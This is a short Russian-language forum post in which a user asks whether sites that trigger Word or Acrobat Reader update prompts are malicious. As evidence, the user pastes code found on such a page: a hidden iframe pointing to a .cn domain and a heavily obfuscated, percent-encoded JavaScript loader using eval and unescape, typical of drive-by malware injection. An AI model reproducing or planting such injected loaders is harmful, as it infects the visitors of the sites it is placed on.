Сайты запускают Word и Acrobat Reader

Agressive_Pig
На сайте с 15.07.2008
Offline
98
275

При заходе на некоторые сайты запускается окно обновления word или acrobat reader'а, это вирусы атакуют? В интернете не нашел информации по этому поводу.

Agressive_Pig добавил 14.01.2009 в 21:59

Сейчас на один такой зашел, в коде вот что:


<div style="visibility:hidden">
<iframe src="http://dire[cut]nke.cn/in.cgi?27" width=100 height=80>
</iframe></div><!-- ad --><script>window['eDvWa0lZ'.replace(/[ZWDz0]/g, '')](window['eDvWa0lZ'.replace(/[ZWDz0]/g, '')]('u(nTeTsmc7aTpmem'.replace(/[h\(7mT]/g, ''))('%66%75%6e%63%74%69%6f%6e%20%41%50%6c%4c%41%28%41%50%6c%6c%29%7b
%66%75%6e%63%74%69%6f%6e%20%41%41%41%49%28%41%48%6c%4c%49%29%7b%65
%76%61%6c%28%22%76%61%72%20%48%44%70%6c%4c%4c%61%3d%30%3b%22%29%3b%
76%61%72%20%48%47%4c%61%48%3d%41%48%6c%4c%49%2e%6c%65%6e%67%74%68%3b%
65%76%61%6c%28%22%76%61%72%20%41%54%4c%70%3d%30%3b%22%29%3b%77%68%69%
6c%65%28%41%54%4c%70%3c%48%47%4c%61%48%29%7b%48%44%70%6c%4c%4c%61%2b%
3d%41%61%61%4c%28%41%48%6c%4c%49%2c%41%54%4c%70%29%2a%48%47%4c%61%48%
3b%41%54%4c%70%2b%2b%3b%7d%72%65%74%75%72%6e%20%28%48%44%70%6c%4c%4c%
61%2b%27%27%29%3b%7d%66%75%6e%63%74%69%6f%6e%20%41%61%61%4c%28%50%50%
4c%54%44%2c%50%49%6c%61%29%7b%72%65%74%75%72%6e%20%50%50%4c%54%44%2e%
63%68%61%72%43%6f%64%65%41%74%28%50%49%6c%61%29%3b%7d%20%20%20%74%72%
79%20%7b%76%61%72%20%41%49%44%50%47%3d%65%76%61%6c%28%27%61%21%72%7c%
67%47%75%21%6d%56%65%47%6e%21%74%36%73%7c%2e%21%63%21%61%36%6c%7c%6c%
50%6c%3d%41%61%61%4c%28%41%50%6c%6c%2c%4c%41%4c%29%3b%50%68%68%48%2b%
%25%33%35%25%33%34%25%33%38%25%33%34%25%36%31%25%32%65%25%33%37%25%31
%61%25%35%61%25%31%64%25%34%64%25%37%34%25%32%33%25%31%32%25%33%35%25%
32%34%25%37%34%25%33%63%25%32%61%25%33%61%25%32%34%25%35%35%25%32%65%25
%34%65%25%31%65%25%31%39%25%31%38%25%32%63%25%31%35%25%31%34%25%33%66%
25%30%32%25%37%64%25%33%63%25%33%33%25%33%37%25%32%36%25%30%38%25%31%39
%25%30%31%25%30%30%25%31%62%25%31%32%25%33%33%25%36%64%25
%33%37%25%37%64%25%36%64%25%31%35%25%32%31%25%30%63%25%33%33%25%31%32%25%31%37%25%35%61%25%37%31%25%34%66%25%35%64%25%34%31%25%37%30%25%32%35%25%32%62%25%33%37%25%37%63%25%37%
62%25%33%35%25%33%36%25%31%35%25%32%65%25%37%66%25%37%39%25%36%65%25%31%38%25%30%66%25%30%37%25%32%66%25%34%35%25%33%31%25%37%35%25%33%64%25%33%31%25%37%66%25%31%36%25%30%33%25%30%63%25%30%34%25%31%35%25%31%61%25%35%35%25%33%61%25%30%39%25%31%31%25%31%30%25%36%33%25%35%37%25%35%65%2
5%31%30%25%37%38%25%30%31%25%33%31%25%32%31%25%33%35%25%30%31%25%33%63%25%32%63%25%31%36%25%31%63%25%36%61%25%30%30%25%30%35%25%35%63%25%36%33%25%33%66%25%31%63%25%31%62%25%32%32%25%31%33%25%35%33%25%34%63%25%35%34%25%37%34%25%35%62%25%36%63%25%36%37%25%32%64%25%36%66%25%32%38%25%31%39%25%30%38%25%30%35%25%31%38%25%30%61%25%30%64%25%33%66%25%33%37%25%33%35%25%32%65%25%33%65%25%36%38%25%34%65%25%33%62%25%32%66%25%31%37%25%33%66%25%33%31%25%31%61%25%30%37%25%31%36%25%32%38%25%30%33
%25%30%35%25%33%63%25%34%66%25%35%63%25%36%38%25%37%30%25%37%64%25%34%35%25%32%39%25%36%38%25%33%36%25%33%38%25%31%31%25%32%35%25%30%30%25%31%34%25%33%36%25%37%35%25%33%32%25%32%61%25%32%36%25%32%32%25%35%66%25%37%30%25%33%38%25%30%30%25%31%61%25%32%30%25%30%66%25%30%65%25%37%65%25%37%39%25%36%63%25%37%36%25%35%30%25%37%66%25%37%32%25%32%31%25%31%64%25%31%66%25%30%35%25%30%35%25%31%36%25%30%62%25%33%30%25%37%63%25%33%39%25%33%64%25%32%33%25%32%61%25%35%31%25%32%30%25%31%64%25%31%34%25%33%33%25%31%65%25%33%39%25%30%32%25%36%61%25%32%32%25%37%36%25%30%37%25%37%62%25%36%61%25%37%32%25%36%34%25%34%33%25%32%63%25%31%63%25%33%30%25%35%61%25%32%33%25%33%65%25%36%66%25%33%61%25%37%64%25%32%63%25%32%65%25%30%37%25%34%32%25%32%31%25%33%64%25%37%36%25%37%61%25%31%36%25%30%38%25%30%64%25%36%61%25%30%37%25%33%35%25%30%64%25%33%63%25%32%66%25%31%34%25%36%62%25%37%61%25%35%35%25%34%34%25%35%32%25%30%63%25%34%62%25%37%37%25%31%63%25%35%64%25%35%37%25%37%31%25%30%63%25%36%63%25%35%62%25%33%65%25%36%64%25%37%63%25%36%38%25%36%66%25%34%35%25%36%30%25%34%64%25%31%65%25%30%64%25%33%64%25%30%62%25%33%39%25%
32%39%25%37%30%25%35%31%25%37%38%25%36%64%27%29%3b'));</script><!-- /ad -->

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий